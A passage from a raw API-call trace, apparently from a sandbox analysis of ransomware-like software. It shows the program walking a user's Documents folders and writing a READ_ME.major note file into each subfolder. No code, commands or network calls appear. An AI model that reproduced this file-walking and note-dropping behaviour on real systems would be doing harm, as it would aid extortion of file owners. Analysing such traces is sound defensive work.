GetLastError () returned 0x0 [0146.736] SetLastError (dwErrCode=0x0) [0146.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0146.736] GetLastError () returned 0x0 [0146.736] SetLastError (dwErrCode=0x0) [0146.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0146.736] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a16a2c0, ftCreationTime.dwHighDateTime=0x1d4c80f, ftLastAccessTime.dwLowDateTime=0x8f3d840, ftLastAccessTime.dwHighDateTime=0x1d4cdb5, ftLastWriteTime.dwLowDateTime=0x8f3d840, ftLastWriteTime.dwHighDateTime=0x1d4cdb5, nFileSizeHigh=0x0, nFileSizeLow=0x104aa, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="fGn DrSdhzxQj.pps", cAlternateFileName="FGNDRS~1.PPS")) returned 1 [0146.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0146.736] GetLastError () returned 0x0 [0146.736] SetLastError (dwErrCode=0x0) [0146.736] GetLastError () returned 0x0 [0146.736] SetLastError (dwErrCode=0x0) [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0146.737] GetLastError () returned 0x0 [0146.737] SetLastError (dwErrCode=0x0) [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0146.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0146.737] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa25e1d10, ftCreationTime.dwHighDateTime=0x1d4d6f7, ftLastAccessTime.dwLowDateTime=0xd50424f0, ftLastAccessTime.dwHighDateTime=0x1d49c12, ftLastWriteTime.dwLowDateTime=0xd50424f0, ftLastWriteTime.dwHighDateTime=0x1d49c12, nFileSizeHigh=0x0, nFileSizeLow=0xbc2d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GlT7X.docx", cAlternateFileName="GLT7X~1.DOC")) returned 1 [0146.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0146.737] GetLastError () returned 0x0 [0146.737] SetLastError (dwErrCode=0x0) [0146.737] GetLastError () returned 0x0 [0146.737] SetLastError (dwErrCode=0x0) [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0146.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0146.737] GetLastError () returned 0x0 [0146.737] SetLastError (dwErrCode=0x0) [0146.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0146.738] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee76160, ftCreationTime.dwHighDateTime=0x1d4e24b, ftLastAccessTime.dwLowDateTime=0x80ea65c0, ftLastAccessTime.dwHighDateTime=0x1d4d2ac, ftLastWriteTime.dwLowDateTime=0x80ea65c0, ftLastWriteTime.dwHighDateTime=0x1d4d2ac, nFileSizeHigh=0x0, nFileSizeLow=0x1ca7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="JIBSW8f5jqTWsn.pptx", cAlternateFileName="JIBSW8~1.PPT")) returned 1 [0146.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0146.738] GetLastError () returned 0x0 [0146.738] SetLastError (dwErrCode=0x0) [0146.738] GetLastError () returned 0x0 [0146.738] SetLastError (dwErrCode=0x0) [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0146.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0146.738] GetLastError () returned 0x0 [0146.738] SetLastError (dwErrCode=0x0) [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e8c8 [0146.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c8 | out: hHeap=0x570000) returned 1 [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0146.738] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4a1a140, ftCreationTime.dwHighDateTime=0x1d49cd0, ftLastAccessTime.dwLowDateTime=0x9a458be0, ftLastAccessTime.dwHighDateTime=0x1d4e368, ftLastWriteTime.dwLowDateTime=0x9a458be0, ftLastWriteTime.dwHighDateTime=0x1d4e368, nFileSizeHigh=0x0, nFileSizeLow=0x64c6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="jriFgX.pptx", cAlternateFileName="JRIFGX~1.PPT")) returned 1 [0146.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0146.738] GetLastError () returned 0x0 [0146.738] SetLastError (dwErrCode=0x0) [0146.738] GetLastError () returned 0x0 [0146.738] SetLastError (dwErrCode=0x0) [0146.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0146.739] GetLastError () returned 0x0 [0146.739] SetLastError (dwErrCode=0x0) [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be840 [0146.739] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0146.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0146.739] GetLastError () returned 0x0 [0146.739] SetLastError (dwErrCode=0x0) [0146.739] GetLastError () returned 0x0 [0146.739] SetLastError (dwErrCode=0x0) [0146.739] GetLastError () returned 0x0 [0146.739] SetLastError (dwErrCode=0x0) [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0146.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be318 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0146.739] GetLastError () returned 0x0 [0146.739] SetLastError (dwErrCode=0x0) [0146.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0146.740] GetLastError () returned 0x0 [0146.740] SetLastError (dwErrCode=0x0) [0146.740] GetLastError () returned 0x0 [0146.740] SetLastError (dwErrCode=0x0) [0146.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0146.740] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Music\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\my music\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0146.741] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.742] CloseHandle (hObject=0x5e8) returned 1 [0146.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0146.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0146.742] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0146.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0146.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0146.743] GetLastError () returned 0xb7 [0146.743] SetLastError (dwErrCode=0xb7) [0146.743] GetLastError () returned 0xb7 [0146.743] SetLastError (dwErrCode=0xb7) [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0146.743] GetLastError () returned 0xb7 [0146.743] SetLastError (dwErrCode=0xb7) [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0146.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be790 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be3c8 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0146.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0146.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0146.743] GetLastError () returned 0xb7 [0146.743] SetLastError (dwErrCode=0xb7) [0146.743] GetLastError () returned 0xb7 [0146.743] SetLastError (dwErrCode=0xb7) [0146.744] GetLastError () returned 0xb7 [0146.744] SetLastError (dwErrCode=0xb7) [0146.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0146.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Pictures\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\my pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0146.745] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.745] CloseHandle (hObject=0x5e8) returned 1 [0146.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0146.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0146.746] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0146.746] GetLastError () returned 0xb7 [0146.746] SetLastError (dwErrCode=0xb7) [0146.746] GetLastError () returned 0xb7 [0146.746] SetLastError (dwErrCode=0xb7) [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0146.746] GetLastError () returned 0xb7 [0146.746] SetLastError (dwErrCode=0xb7) [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9f8 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0146.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0146.747] GetLastError () returned 0xb7 [0146.747] SetLastError (dwErrCode=0xb7) [0146.747] GetLastError () returned 0xb7 [0146.747] SetLastError (dwErrCode=0xb7) [0146.747] GetLastError () returned 0xb7 [0146.747] SetLastError (dwErrCode=0xb7) [0146.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0146.747] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0146.751] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.752] CloseHandle (hObject=0x5e8) returned 1 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0146.752] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0146.752] GetLastError () returned 0x0 [0146.752] SetLastError (dwErrCode=0x0) [0146.752] GetLastError () returned 0x0 [0146.752] SetLastError (dwErrCode=0x0) [0146.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0146.752] GetLastError () returned 0x0 [0146.752] SetLastError (dwErrCode=0x0) [0146.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0146.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0146.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0146.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb00 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0146.753] GetLastError () returned 0x0 [0146.753] SetLastError (dwErrCode=0x0) [0146.753] GetLastError () returned 0x0 [0146.753] SetLastError (dwErrCode=0x0) [0146.753] GetLastError () returned 0x0 [0146.753] SetLastError (dwErrCode=0x0) [0146.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0146.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Videos\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\my videos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0146.754] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.755] CloseHandle (hObject=0x5e8) returned 1 [0146.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0146.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0146.755] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7090fe0, ftCreationTime.dwHighDateTime=0x1d489b4, ftLastAccessTime.dwLowDateTime=0x2ec97630, ftLastAccessTime.dwHighDateTime=0x1d4b4cc, ftLastWriteTime.dwLowDateTime=0x2ec97630, ftLastWriteTime.dwHighDateTime=0x1d4b4cc, nFileSizeHigh=0x0, nFileSizeLow=0x7d65, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Ng2e.xlsx", cAlternateFileName="NG2E~1.XLS")) returned 1 [0146.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0146.755] GetLastError () returned 0xb7 [0146.755] SetLastError (dwErrCode=0xb7) [0146.756] GetLastError () returned 0xb7 [0146.756] SetLastError (dwErrCode=0xb7) [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0146.756] GetLastError () returned 0xb7 [0146.756] SetLastError (dwErrCode=0xb7) [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0146.756] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa50d0c70, ftCreationTime.dwHighDateTime=0x1d4b9d7, ftLastAccessTime.dwLowDateTime=0x242b6cf0, ftLastAccessTime.dwHighDateTime=0x1d48a66, ftLastWriteTime.dwLowDateTime=0x242b6cf0, ftLastWriteTime.dwHighDateTime=0x1d48a66, nFileSizeHigh=0x0, nFileSizeLow=0x185af, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="OkaAfV-IS.pptx", cAlternateFileName="OKAAFV~1.PPT")) returned 1 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0146.756] GetLastError () returned 0xb7 [0146.756] SetLastError (dwErrCode=0xb7) [0146.756] GetLastError () returned 0xb7 [0146.756] SetLastError (dwErrCode=0xb7) [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0146.756] GetLastError () returned 0xb7 [0146.756] SetLastError (dwErrCode=0xb7) [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0146.756] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0146.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0146.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 